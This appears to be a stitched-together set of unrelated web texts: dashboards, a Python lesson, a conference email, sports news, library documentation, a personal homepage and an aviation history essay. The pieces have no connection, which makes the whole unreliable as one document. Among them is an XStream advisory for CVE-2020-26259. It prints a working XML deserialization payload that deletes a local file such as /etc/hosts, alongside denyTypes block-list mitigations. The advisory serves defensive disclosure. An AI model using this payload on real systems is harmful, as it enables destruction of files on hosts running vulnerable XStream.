Top 10 Downtime by Duration (Hours) - Last 12 Months
click on each series to view the drilldown
Top 10 Downtime by Frequency - Last 12 Months
click on each series to view the drilldown
Turbines Down (Hrs) During Last 24 Hours
Back
Detail Production
Back
Back
Back
Downtime duration for Last 12 months


Padel 8 Player Tournament
Player Names:
(enter player names into the spaces bellow and press "randomize teams" to get started)
Matchups:
Field 1 (Team 1 vs Team 2)
Field 2 (Team 3 vs Team 4)
Team 1
Score
Team 2
Score
Team 3
Score
Team 4
Score
Scoreboard:
#P
Player
Score


Answer this in the chat in the meantime: If you could be a sound, what would it be?
So far we've learned about
grades = {
"Frank": 93.2,
"Nicholas": 99.0,
"Analisa": 94.3,
"Gianna": 94.3
}
for person, grade in grades.items():
print(person, "scored a", grade)
# Dictionaries inside dictionaries!
users = {
"apexal": {
"name": "Frank",
"age": 20
},
"nickm": {
"name": "Nicholas",
"age": 19
}
}
print(users["apexal"]["name"])
Our programs can't remember anything after they run!

Programs can save things in a lot of places. We are going to focus on text files.
A text file is like Google Docs but ONLY text with nothing fancy at all:
stuff.txt
im a boring text file
no color
no different sizes
no pictures :(
# Open up the file named stuff.txt
with open("stuff.txt") as f:
# Read in all of the lines into a list
lines = f.readlines()
# Print out the lines
print(lines)
\n
?\n
means there is a new line!
print("hello\nworld\n\nempty lines!")
Prints
hello
world
empty lines!
\n
We don't want \n
at the end of every line. Use
strip()
to get rid of spaces and \n
.
with open("stuff.txt") as f:
for line in f.readlines():
print(line.strip())
What if we added this to the top of our TODO program?
with open("todos.txt") as f:
for line in f.readlines():
todos.append(line.strip())
Just add
"w"
to write to the file!
with open("stuff.txt", "w") as f:
f.write("Hello world!")
NOTE: This will get rid of what was in the file!
Let's add a save command to our TODO program.
with open("todos.txt", "w") as f:
for todo in todos:
f.write(todo + "\n")


Hi everyone,
Thanks for attending our second Write the Docs Europe conference in Prague! We're so grateful to our sponsors, speakers, volunteers, and attendees for making the conference possible.
We hope you had a wonderful time, and that you are as excited as we are about the beautiful community that is forming. Below we've included all of the resources you might need for staying in touch, such as notes and a forum. We also have a short anonymous survey for you to fill out, so we can make the conference even better next year.
Let us know how we can improve for future conferences and gatherings. We really appreciate your candid feedback!
Our two question survey is quick and easy, so go fill it out.
In the next few weeks we will announce the locations and dates for our 2016 conference in North America and Europe, but it's not too early to prepare talk proposals. We're also hoping to start a speaker mentoring program, so stay tuned for details if you've never spoken at a conference before!
We're also looking for more sponsors to make next year's events just as magical as this year. If you are curious about sponsoring EU or NA next year, please contact us at<EMAIL_ADDRESS>All the videos are currently being processed, please follow us on Twitter, Slack, or join our mailing list to be notified when they are published.
In the meantime, check out the comprehensive notes taken by one of our attendees Sarah Chambers. Thank you for the wonderful and helpful coverage!
Thanks to our awesome community member Sharon Campbell, we now have a Write the Docs Forum.
We hope that this forum will serve as the easiest way to share information with the community. Join the forum, and feel free to start a topic or chime in on an existing thread.
We hope you continue to build the community and keep in touch with other documentarians in your hometown. In this spirit, a few of our amazing community members are starting meetups in various cities around Europe. If you don't see your city listed, consider starting a meetup!
If you want to start a meetup in your city, send us an email and we'll help you get started and spread the word.
The conference is only possible because folks like you make it a great experience. Thanks for making it another wonderful year! We hope to see you back again next year, or even sooner at one of our other events that happen throughout the year.


CVE-2020-26259: XStream is vulnerable to an Arbitrary File Deletion on the local host when unmarshalling as long as the executing process has sufficient rights.
All versions until and including version 1.4.14 are affected running in a Java environment containing the JAX-WS runtime, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist.
The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in the deletion of a file on the local host.
Create a simple HashMap and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'> <tempFile>/etc/hosts</tempFile> </is> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <string>test</string> </entry> </map>
XStream xstream = new XStream(); xstream.fromXML(xml);
As soon as the XML gets unmarshalled, the payload gets executed and the referenced file is deleted.
Note, this example uses XML, but the attack can be performed for any supported format, e.g. JSON.
The vulnerability may allow a remote attacker to delete arbitrary know files on the host as log as the executing process has sufficient rights only by manipulating the processed input stream.
As recommended, use XStream's security framework to implement a whitelist for the allowed types.
Users of XStream 1.4.14 who insist to use XStream default blacklist - despite that clear recommendation - can simply add two lines to XStream's setup code:
xstream.denyTypes(new String[]{ "jdk.nashorn.internal.objects.NativeString" }); xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });
Users of XStream 1.4.13 who want to use XStream default blacklist can simply add three lines to XStream's setup code:
xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" }); xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class }); xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });
Users of XStream 1.4.12 to 1.4.7 who want to use XStream with a blacklist will have to setup such a list from scratch and deny at least the following types: javax.imageio.ImageIO$ContainsFilter, java.beans.EventHandler, java.lang.ProcessBuilder, jdk.nashorn.internal.objects.NativeString, java.lang.Void and void and deny several types by name pattern.
xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" }); xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class }); xstream.denyTypesByRegExp(new String[]{ ".*\\$LazyIterator", "javax\\.crypto\\..*", ".*\\.ReadAllStream\\$FileStream" });
Users of XStream 1.4.6 or below can register an own converter to prevent the unmarshalling of the currently know critical types of the Java runtime. It is in fact an updated version of the workaround for CVE-2013-7285:
xstream.registerConverter(new Converter() { public boolean canConvert(Class type) { return type != null && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class || type.getName().equals("javax.imageio.ImageIO$ContainsFilter") || type.getName().equals("jdk.nashorn.internal.objects.NativeString") || type == java.lang.Void.class || void.class || Proxy.isProxy(type) || type.getName().startsWith("javax.crypto.") || type.getName().endsWith("$LazyIterator") || type.getName().endsWith(".ReadAllStream$FileStream")); } public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) { throw new ConversionException("Unsupported type due to security reasons."); } public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) { throw new ConversionException("Unsupported type due to security reasons."); } }, XStream.PRIORITY_VERY_HIGH);
钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.


--- title: "到达Calgary！" layout: "post" permalink: "/2014/05/calgary.html" uuid: "4104134426880018701" guid: "tag:blogger.com,1999:blog-5396845717692802313.post-4104134426880018701" date: "2014-05-24 04:48:00" updated: "2014-05-24 05:25:30" description: blogger: siteid: "5396845717692802313" postid: "4104134426880018701" comments: "0" categories: author: name: "Zhujun Yao" url: "https://plus.google.com/107886982505645319479?rel=author" image: "//lh5.googleusercontent.com/-sv9wVMH_yJA/AAAAAAAAAAI/AAAAAAAAABY/RoZM-GWMhyI/s512-c/photo.jpg" ---


{% extends "global/Page.html" %} {% load otree_tags staticfiles %} {% block title %} Allocation of shared endowment {% endblock %} {% block content %}
You are now in the third round of The Second Task, you are still paired randomly and anonymously with another participant.
In this round, both the sender and the receiver will share {{ Constants.endowment }} lab token. The Sender will decide how much the sender will retain. Then the rest will go to the receiver . Prior to making a decision, our algorithm will generate a number that determines the proportion of your endowment share. This information is only observed by the sender.


Elixir goes to school
How can You help
Bartek "Koziołek" Kuczyński
/
@koziolek
Me and Elixir
Let's learn Elixir!
Books
I can help!
How YOU can help?
Just start learning Elixir!
Check spelling :)
We just humans
Try to translate some lesson
Make existing translation better
Suggest exercises
Create new lesson!
Why?
To build the Community
Your First Open Source Contribution
Just for fun
Issue 853
Q&A


This package contains the utilities used across the webpack-cli repositories.
npm i -D webpack-cli @webpack-cli/utils
const utils = require("@webpack-cli/utils"); // API yet to be exposed
Generated using TypeDoc


Aston Villa intend to rebuff Man Utd approach for John McGinn in January
Aston Villa will refuse to sell John McGinn to Manchester United unless the Red Devils lodge a mammoth offer, according to reports.
McGinn is a top target for United, with Ole Gunnar Solskjaer earmarking the 25-year-old as the perfect man to add to his midfield.
United are ready to spend in the winter transfer window, but the Birmingham Mail claim Villa have almost no interest in offloading McGinn in January.
Villa are battling for Premier League survival this season and McGinn is an integral part of Dean Smith’s side.
If United make formal contact to sign McGinn, Villa will insist the Scotland international is not for sale.
Only an offer of ‘epic proportion’ will convince Villa to cash in, with the club in a strong position to snub interest.
Advertisement Advertisement
McGinn is just a few months into the five-year contract he signed before the new campaign.
Villa value McGinn around the £50million mark and remain optimistic that he will stay at Villa Park beyond the end of the current season.
United are determined to land Solskjaer’s top targets, but are conscious about spending over the odds in January.
The Red Devils are tipped to make formal enquiries about the availability of Borussia Dortmund’s Jadon Sancho and RB Salzburg’s Erling Haaland.
United are in desperate need of reinforcements up front and there is expected to be at least one addition in the forward department when the winter window opens.


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SUBMIT


Form Fields¶
The documentation foradmin_kit.fields
module.
MultiSelect Form Field¶
MultiSelectField
provides Multi Selecting features. It is same as models.MultiSelectField, but is used inDjango Admin Forms
Parameters
seperator
The default is
,
. This value will be used as a delimiter while storing the selected values.
choices
The choices used for rendering. This field is optional as the choices can be from an ajax class
ajax_source
The
key
name used while registering inheritedadmin_kit.ajax.Ajax
class. The return of itsrun
method will be used as choices.
ajax_target
This will be of the form
key_name:target_field
. On every change in its input, it hits the inheritedadmin_kit.ajax.Ajax
class mapped to the specifiedkey_name
. Iftarget_field
is specified then it sets the value of specified model field to api’s return value.The selected values will be passed as
q[]
query list parameter.
ajax_subscribe
This parameter is paired with
ajax_source
parameter and is set toFalse
. If it isTrue
, then this field is linked to every other field with itsajax_source
value same as its linkedajax_target
value.But it wont be linked to fields which have
target_field
specified in itsajax_target
parameter.
kit_config
This defaults to
None
. Instead of passingajax_source
,ajax_target
andajax_subscribe
seperately, one can specify them in a dictionary and can be passed to this parameter.Example
# admin.py ... from admin_kit.fields import MultiSelectField class BookForm(forms.ModelForm): model = Book selected_fields = MultiSelectField(ajax_source='genres', ajax_subscribe=True) fields = ('name', 'genres') class BookAdmin(nested_admin.NestedStackedInline): model = Book form = BookFormis equivalent to
# admin.py ... from admin_kit.fields import MultiSelectField class BookForm(forms.ModelForm): model = Book kit_config = { 'ajax-source': 'genres', 'ajax-subscribe': True } selected_fields = MultiSelectField(kit_config=kit_config) fields = ('name', 'genres') class BookAdmin(nested_admin.NestedStackedInline): model = Book form = BookFormNote
Make sure the key names are hiphen seperated.


About me:
My name is Anthony Golovin, I was born an raised in the United States of America although the rest of my family was actually born in Russia.
My initial interest in technology came from a very young age through hobbies like gaming. As I grew older I found myself lacking direction and passion which stopped me from going to college as I did not know what I was going to do,
at the time I was working at AT&T sales and it clickedfor me that I wanted to be involved in technology and not sell it. I quickly got my foot in the door by
starting to work at 343 Industries to do QA work on Halo: Infinte and about 9 months later I realized I wanted to go deeper and get more involved in development.
Hobbies:
Here is a list of some of my favorite things to do:
- Gaming
- Music production
- Pizza Hut
- Artsy stuff (Not very good at it though)
Gaming:
I have been a gamer for most my life, at first it was the Nintendo 64 I always used to play at my friends house. Then it was the PlayStation 2 and shortly after
it was the Xbox 360. It wasnt until I got xbox live that it REALLY took off as a hobby and changed my life interests and pursuits towards technology. Fast forward to today
and you will see that I have been playing on pc every since and have continued to look for a career in tech. (Set up pics in description)
Music Production:
Music production is a big fancy word for "I play around in FL Studio". I have made music every now and then for the past couple of years purely for fun.
I see it as a productive time waste which is kinda a paradox but what ever. Below is a remix I did of a common video game character know as "Tachanka" from the Rainbowsix games, not good by any means but it was fun to make :).
Pizza hut:
Pizza Hutis really good, to the point where eating it is a hobby. But I know alot of people dont like it. So heres a little tutorial for ya, eat it after it gets cold and reheat it in the oven (also get stuffed crust aslways).
preheat the oven to 400 degres, wait till it reaches that temp, put the pizza in for about 8 minutes and boom amazing pizza hut pizza thats not wet and greasy.
Art:
This technically goes in with the music production but every now and then I used to draw alot and more so doodle now a days. I really in general just love the process of creation which
is also another reason I am learning web development, its another means of learning how to create something.
Lorem ipsum dolor sit amet, consectetur adipiscing elit,
sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
Lorem ipsum dolor sit amet, consectetur adipiscing elit,
sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
Looks as though the image as been a bit stretched.(Background image)
Just had it working a second ago and been trying to figure out why it is broken.


For now, the contract is available only on the Rinkeby Test Network. Please switch your metamask to the right network before creation.
Make sure to note your Puzzle Id and to double check that the hash corresponds to the hexadecimal sha256 of the plain answer. Be aware that the hash will be readable on the blockchain in the creation transaction. You can check if the hash is too easy to decode on https://www.dcode.fr/hash-sha256.
You can also make your puzzle code open, add your twitter in the description or do whatever you think of in order to increase the confidence of the players.


--- layout: post status: publish published: true title: Cubs Win Bidding for Jorge Soler author: display_name: Corey Fineran login: Corey email<EMAIL_ADDRESS>url: '' author_login: Corey author_email<EMAIL_ADDRESS>wordpress_id: 7492 wordpress_url: http://ivyenvy.com/?p=7492 date: '2012-06-11 15:14:26 +0000' date_gmt: '2012-06-11 20:14:26 +0000' categories: - Outfield - Free Agency tags: - Oakland - Brett Jackson - Peoria - A's - Matt Szczur - Cuba - Yoenis Cespedes - Jorge Soler - 2012 MLB Draft - Cuban Defector comments: - id: 5505 author: Mike Slezak author_email: '' author_url: '' date: '2012-06-11 15:21:31 +0000' date_gmt: '2012-06-11 20:21:31 +0000' content: Super stoked! ---
After being handcuffed by the new restrictions on the 2012 MLB Draft, the Cubs ponied up the largest bid for free agent Cuban defector, Jorge Soler. Soler defected from Cuba in 2011 and has been eligible for free agency since Saturday June 2nd. The reports are that the 9 year deal is worth $30 million.
Soler is a solid 6-foot 3 224lb 20 year old outfielder that Keith Law projected would have probably been a top 5 pick in this year's draft. He is described as a four-plus tool player.
Development with Soler will probably start slowly. He hasn't played competitive baseball in over a year because of his residency issues. Perhaps we'll see him in Peoria later this season.
The Cubs had shown interest in Yoenis Cespedes in the off-season. He ended up signing with the Oakland A's. Soler is six years younger, which makes him more appealing, especially considering the Cubs will not be contending for anything for the next few years. This gives Soler plenty of time to develop.
The Cubs appear to be stocking their system with players that will be ready to advance to the major league level in two or three years. The money that would have been spent on Prince Fielder or Albert Pujols is much better spent developing a more well-rounded organization, which in the long run can potentially lead to more success at a lower price.
While the potential roster of the Cubs is unproven and developing in the minor league system, the future line-up is beginning to take shape. We could be looking at an outfield of Albert Almora- Brett Jackson - Jorge Soler from left to right. It's an interesting stage that the organization is in and I think it'll be fun to see how these prospects pan out.


Request Information
| ID | sample-scenario-001 |
|---|---|
| Version | 1.0.0 |
| Summary | Sample Scenario 001 |
| Description | This is a typical example scenario of the tool. |
| Execution ID | fef4d139-a550-490a-8365-9fd26ce3f871 |
| Status | SUCCESS |
| Start | 2018/09/01 12:12:12 |
| End | 2018/09/01 12:12:12 |
| Duration (ms) | 1 |
Executed Flow
Execute List
| ID | Type | Status | Start | End | Duration (ms) |
|---|---|---|---|---|---|
|
|
Flow | SUCCESS | 12:12:12.111 | 12:12:12.222 | 1 |
| command-0001 | Command | WAIT | 12:12:12.222 | 12:12:12.333 | 1 |
| flow-0002 | Flow | ERROR | 12:12:12.111 | 12:12:12.222 | 2 |
| flow-0003 | Flow | WARN | 12:12:12.111 | 12:12:12.222 | 3 |
Evidences
| Name | ID | Path |
|---|---|---|
| key1 | command-0001 | value1 |
Scenario Variables
| Name | Value |
|---|---|
| key1 | value1 |
| key2 | value2 |
Execute Details
* : Extension Parameter
| Type | Flow | ||
|---|---|---|---|
| ID | flow-0001 | ||
| Execution ID | fef4d139-a550-490a-8365-9fd26ce3f871 | ||
| Type | CommandExecute | ||
| Start | 12:12:12.111 | End | 12:12:12.222 |
| Status | SUCCESS | Duration (ms) | 111 |
| Log |
|
||
| Error |
stacktrace |
| Type | Command | ||
|---|---|---|---|
| ID | command-0001 | ||
| Execution ID | fef4d139-a550-490a-8365-9fd26ce3f871 | ||
| Command | FileCopy | ||
| Summary | Sample Scenario 001 | ||
| Description | This is a typical example scenario of the tool. | ||
| Target | Target... | ||
| Value | Value... | ||
| ExtensionKey | ExtensionValue | ||
| Start | 12:12:12.111 | End | 12:12:12.222 |
| Status | SUCCESS | Duration (ms) | 111 |
| Log |
|
||
| Error |
stacktrace |


History of Aerobatics and aviation
Airshows have been around since before World War 2, when they would mostly consist of long distance races that could last many days. Today, airshows are a way for pilots to demonstrate their technical capabilities in various different aerobatic maneuvers. Many of these maneuvers created for artistic purposes at first were later used in war to gain aerial advantages.
The beginnings of aviation and aerobatics
Aviation started hundreds of years ago with people flying in balloons as early as 1783, however it wasn't until 1903 that the first heavier than air aircraft was flown for the first time. Even though this aircraft was a plane that could be maneuvered, we would have to wait another 10 years until 1913 before aerobatics were invented. In order to be able to perform aerobatics, you need to have the capability of flying inverted or upside down. This wasn't possible with early planes as they had gravity-fed fuel systems, meaning that the fuel was stored in the wings and gravity would lead the fuel into the engines. If these planes were flown upside down, the engine would lose fuel and stall.
World War I
In the first year of the war, planes were mainly used for reconnaissance. However in the second year, planes were armed with weapons and aerobatics becoming a key in battles between fighter planes. During this period, new maneuvers were discovered by fighter pilots on the battlefield trying to evade enemy aircraft, notably by German pilot Max Immelmann who invented the Immelmann turn. This maneuver was useful for diving past enemies and quickly pulling up to go above them so that you can dive over them again letting you fire your bullets at the enemy. During this war, military aircraft were used for bombing for the first time. Planes only flew at speeds of 100 mph and signals were done by rocking the wings.
Jet Era
The first jets appeared at the end of World War II, but they weren't utilized during the war. These jets could fly at twice the speed of sound and reach altitudes of 50,000 feet. These new aircraft had great vertical mobility but couldn't turn with rapid speed, so new maneuvers were invented for vertical dogfights. In order to evade shots from enemy jets, the scissors maneuver was used to roll away back and forth forcing the enemy jet to overshoot your position.
Future of aviation
Air transport is becoming more and more frequent growing by 4.1% every year. With 4.1 billion passengers using air transport in 2017, approximately 2% of all human carbon emissions come from air travel. With an industry growing this fast, Scientists have designed planes with zero emissions powered by electricity and solar panels. Designs like the eagle, a 755 passenger aircraft, with zero emissions are predicted to be available by 2030, however scientists are also critical saying that they only have 40% of the technology required for an aircraft like the eagle.
Aircraft running on renewable fuel such as biofuels are also another alternative to help the environment. These biofuels can reduce emissions from 20-98% compared to conventional jet fuel, however planes running fully on biofuel are not available yet, they use a blended fuel that is a mix of 50% biofuel. However, scientists believe that by the end of the decade fully biofueled planes could be available.
Design of the Eagle
Louis Blériot and Adolphe Pégoud
Aviator Louis Blériot and test pilot Adolphe Pégoud were pioneers of aerobatics. Blériot designed a plane that had fuel injected directly into the engine making it possible to fly upside down without stalling the aircraft. 10 years after the Wright Brothers took flight, Adolphe Pégoud, who was test pilot for Blériot, flew the Blériot XI upside down, which was the first ever plane to have flown inverted. This flight was the birth of aerobatics. In 1913, during the first airshow ever, Pégoud flew a loop.
Blériot XI:
Blériot XI:
World War II
During World War II, planes reached speeds of 400 miles per hour and could go up to 30,000 feet in altitude. Pilots were able to communicate with each other using radio communications. A new aerobatic maneuver was invented for fighter planes to attack bombers called the split-S. This maneuver consisted of attacking the bomber from head-on shooting at it and at the last moment diving downwards to avoid crashing into the bomber, but also starting the roll before diving but keeping the nose pointed towards the target.
Aerobatic stardom
During the years preceding World War II, inventive and daring pilots become aerobatic stars. In 1920, french pilot Alfred Fronval became famous as he set a record for most loops done with 962 loops in 3 hours and 52 minutes. German stunt-pilot Ernst Udet becomes a movie-star after fighting in World War I as an ace pilot. American pilot Jimmy Doolittle was famous for winning flying races and flying record coast-to-coast flights across the United States. The period between World War I and II, became known as the Golden Age of Flight.
Jimmy Doolittle on his record setting flight across the United States:
Jimmy Doolittle on his record setting flight across the United States:


public interface Marshaller
The Marshaller
class is responsible for governing the process
of serializing Java content trees back into XML data. It provides the basic
marshalling methods:
Assume the following setup code for all following code fragments:
JAXBContext jc = JAXBContext.newInstance( "com.acme.foo" ); Unmarshaller u = jc.createUnmarshaller(); Object element = u.unmarshal( new File( "foo.xml" ) ); Marshaller m = jc.createMarshaller();
Marshalling to a File:
OutputStream os = new FileOutputStream( "nosferatu.xml" ); m.marshal( element, os );
Marshalling to a SAX ContentHandler:
// assume MyContentHandler instanceof ContentHandler m.marshal( element, new MyContentHandler() );
Marshalling to a DOM Node:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setNamespaceAware(true); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.newDocument(); m.marshal( element, doc );
Marshalling to a java.io.OutputStream:
m.marshal( element, System.out );
Marshalling to a java.io.Writer:
m.marshal( element, new PrintWriter( System.out ) );
Marshalling to a javax.xml.transform.SAXResult:
// assume MyContentHandler instanceof ContentHandler SAXResult result = new SAXResult( new MyContentHandler() ); m.marshal( element, result );
Marshalling to a javax.xml.transform.DOMResult:
DOMResult result = new DOMResult(); m.marshal( element, result );
Marshalling to a javax.xml.transform.StreamResult:
StreamResult result = new StreamResult( System.out ); m.marshal( element, result );
Marshalling to a javax.xml.stream.XMLStreamWriter:
XMLStreamWriter xmlStreamWriter = XMLOutputFactory.newInstance().createXMLStreamWriter( ... ); m.marshal( element, xmlStreamWriter );
Marshalling to a javax.xml.stream.XMLEventWriter:
XMLEventWriter xmlEventWriter = XMLOutputFactory.newInstance().createXMLEventWriter( ... ); m.marshal( element, xmlEventWriter );
Marshalling content tree rooted by a Jakarta XML Binding element
The first parameter of the overloadedMarshaller.marshal(java.lang.Object, ...)
methods must be a Jakarta XML Binding element as computed byJAXBIntrospector.isElement(java.lang.Object)
; otherwise, aMarshaller.marshal
method must throw aMarshalException
. There exist two mechanisms to enable marshalling an instance that is not a Jakarta XML Binding element. One method is to wrap the instance as a value of aJAXBElement
, and pass the wrapper element as the first parameter to aMarshaller.marshal
method. For java to schema binding, it is also possible to simply annotate the instance's class with @XmlRootElement
.
Encoding
By default, the Marshaller will use UTF-8 encoding when generating XML data to ajava.io.OutputStream
, or ajava.io.Writer
. Use thesetProperty
API to change the output encoding used during these marshal operations. Client applications are expected to supply a valid character encoding name as defined in the W3C XML 1.0 Recommendation and supported by your Java Platform.
Validation and Well-Formedness
Client applications are not required to validate the Java content tree prior to calling any of the marshal API's. Furthermore, there is no requirement that the Java content tree be valid with respect to its original schema in order to marshal it back into XML data. Different Jakarta XML Binding Providers will support marshalling invalid Java content trees at varying levels, however all Jakarta XML Binding Providers must be able to marshal a valid content tree back to XML data. A Jakarta XML Binding Provider must throw a
MarshalException
when it is unable to complete the marshal operation due to invalid content. Some Jakarta XML Binding Providers will fully allow marshalling invalid content, others will fail on the first validation error.Even when schema validation is not explictly enabled for the marshal operation, it is possible that certain types of validation events will be detected during the operation. Validation events will be reported to the registered event handler. If the client application has not registered an event handler prior to invoking one of the marshal API's, then events will be delivered to a default event handler which will terminate the marshal operation after encountering the first error or fatal error. Note that for Jakarta XML Binding and later versions,
DefaultValidationEventHandler
is no longer used.
All Jakarta XML Binding Providers are required to support the following set of properties. Some providers may support additional properties.
jaxb.encoding
- value must be a java.lang.String- The output encoding to use when marshalling the XML data. The Marshaller will use "UTF-8" by default if this property is not specified.
jaxb.formatted.output
- value must be a java.lang.Boolean- This property controls whether or not the Marshaller will format the resulting XML data with line breaks and indentation. A true value for this property indicates human readable indented xml data, while a false value indicates unformatted xml data. The Marshaller will default to false (unformatted) if this property is not specified.
jaxb.schemaLocation
- value must be a java.lang.String- This property allows the client application to specify an xsi:schemaLocation attribute in the generated XML data. The format of the schemaLocation attribute value is discussed in an easy to understand, non-normative form in Section 5.6 of the W3C XML Schema Part 0: Primer and specified in Section 2.6 of the W3C XML Schema Part 1: Structures.
jaxb.noNamespaceSchemaLocation
- value must be a java.lang.String- This property allows the client application to specify an xsi:noNamespaceSchemaLocation attribute in the generated XML data. The format of the schemaLocation attribute value is discussed in an easy to understand, non-normative form in Section 5.6 of the W3C XML Schema Part 0: Primer and specified in Section 2.6 of the W3C XML Schema Part 1: Structures.
jaxb.fragment
- value must be a java.lang.Boolean- This property determines whether or not document level events will be generated by the Marshaller. If the property is not specified, the default is
false
. This property has different implications depending on which marshal api you are using - when this property is set to true:
marshal(Object,ContentHandler)
- the Marshaller won't invokeContentHandler.startDocument()
andContentHandler.endDocument()
.marshal(Object,Node)
- the property has no effect on this API.marshal(Object,OutputStream)
- the Marshaller won't generate an xml declaration.marshal(Object,Writer)
- the Marshaller won't generate an xml declaration.marshal(Object,Result)
- depends on the kind of Result object, see semantics for Node, ContentHandler, and Stream APIsmarshal(Object,XMLEventWriter)
- the Marshaller will not generateXMLStreamConstants.START_DOCUMENT
andXMLStreamConstants.END_DOCUMENT
events.marshal(Object,XMLStreamWriter)
- the Marshaller will not generateXMLStreamConstants.START_DOCUMENT
andXMLStreamConstants.END_DOCUMENT
events.
"TheMarshaller
provides two styles of callback mechanisms that allow application specific processing during key points in the unmarshalling process. In 'class defined' event callbacks, application specific code placed in Jakarta XML Binding mapped classes is triggered during marshalling. 'External listeners' allow for centralized processing of marshal events in one callback method rather than by type event callbacks.Class defined event callback methods allow any Jakarta XML Binding mapped class to specify its own specific callback methods by defining methods with the following method signatures:
The class defined event callback methods should be used when the callback method requires access to non-public methods and/or fields of the class.// Invoked by Marshaller after it has created an instance of this object. boolean beforeMarshal(Marshaller); // Invoked by Marshaller after it has marshalled all properties of this object. void afterMarshal(Marshaller);The external listener callback mechanism enables the registration of a
Marshaller.Listener
instance with asetListener(Listener)
. The external listener receives all callback events, allowing for more centralized processing than per class defined callback methods.The 'class defined' and external listener event callback methods are independent of each other, both can be called for one event. The invocation ordering when both listener callback methods exist is defined in
Marshaller.Listener.beforeMarshal(Object)
andMarshaller.Listener.afterMarshal(Object)
.An event callback method throwing an exception terminates the current marshal process.
JAXBContext
,
Unmarshaller
| Modifier and Type | Interface and Description |
|---|---|
static class |
Marshaller.Listener
Register an instance of an implementation of this class with a
Marshaller to externally listen
for marshal events. |
| Modifier and Type | Field and Description |
|---|---|
static java.lang.String |
JAXB_ENCODING
The name of the property used to specify the output encoding in
the marshalled XML data.
|
static java.lang.String |
JAXB_FORMATTED_OUTPUT
The name of the property used to specify whether or not the marshalled
XML data is formatted with linefeeds and indentation.
|
static java.lang.String |
JAXB_FRAGMENT
The name of the property used to specify whether or not the marshaller
will generate document level events (ie calling startDocument or endDocument).
|
static java.lang.String |
JAXB_NO_NAMESPACE_SCHEMA_LOCATION
The name of the property used to specify the
xsi:noNamespaceSchemaLocation attribute value to place in the marshalled
XML output.
|
static java.lang.String |
JAXB_SCHEMA_LOCATION
The name of the property used to specify the xsi:schemaLocation
attribute value to place in the marshalled XML output.
|
| Modifier and Type | Method and Description |
|---|---|
<A extends XmlAdapter<?,?>> |
getAdapter(java.lang.Class<A> type)
Gets the adapter associated with the specified type.
|
AttachmentMarshaller |
getAttachmentMarshaller() |
ValidationEventHandler |
getEventHandler()
Return the current event handler or the default event handler if one
hasn't been set.
|
Marshaller.Listener |
getListener()
Return
Marshaller.Listener registered with this Marshaller . |
org.w3c.dom.Node |
getNode(java.lang.Object contentTree)
Get a DOM tree view of the content tree(Optional).
|
java.lang.Object |
getProperty(java.lang.String name)
Get the particular property in the underlying implementation of
Marshaller . |
javax.xml.validation.Schema |
getSchema()
Get the JAXP
Schema object
being used to perform marshal-time validation. |
void |
marshal(java.lang.Object jaxbElement,
org.xml.sax.ContentHandler handler)
Marshal the content tree rooted at
jaxbElement into SAX2 events. |
void |
marshal(java.lang.Object jaxbElement,
java.io.File output)
Marshal the content tree rooted at
jaxbElement into a file. |
void |
marshal(java.lang.Object jaxbElement,
org.w3c.dom.Node node)
Marshal the content tree rooted at
jaxbElement into a DOM tree. |
void |
marshal(java.lang.Object jaxbElement,
java.io.OutputStream os)
Marshal the content tree rooted at
jaxbElement into an output stream. |
void |
marshal(java.lang.Object jaxbElement,
javax.xml.transform.Result result)
Marshal the content tree rooted at
jaxbElement into the specified
javax.xml.transform.Result . |
void |
marshal(java.lang.Object jaxbElement,
java.io.Writer writer)
Marshal the content tree rooted at
jaxbElement into a Writer. |
void |
marshal(java.lang.Object jaxbElement,
javax.xml.stream.XMLEventWriter writer)
Marshal the content tree rooted at
jaxbElement into a
XMLEventWriter . |
void |
marshal(java.lang.Object jaxbElement,
javax.xml.stream.XMLStreamWriter writer)
Marshal the content tree rooted at
jaxbElement into a
XMLStreamWriter . |
<A extends XmlAdapter<?,?>> |
setAdapter(A adapter)
Associates a configured instance of
XmlAdapter with this marshaller. |
<A extends XmlAdapter<?,?>> |
setAdapter(java.lang.Class<A> type,
A adapter)
Associates a configured instance of
XmlAdapter with this marshaller. |
void |
setAttachmentMarshaller(AttachmentMarshaller am)
Associate a context that enables binary data within an XML document
to be transmitted as XML-binary optimized attachment.
|
void |
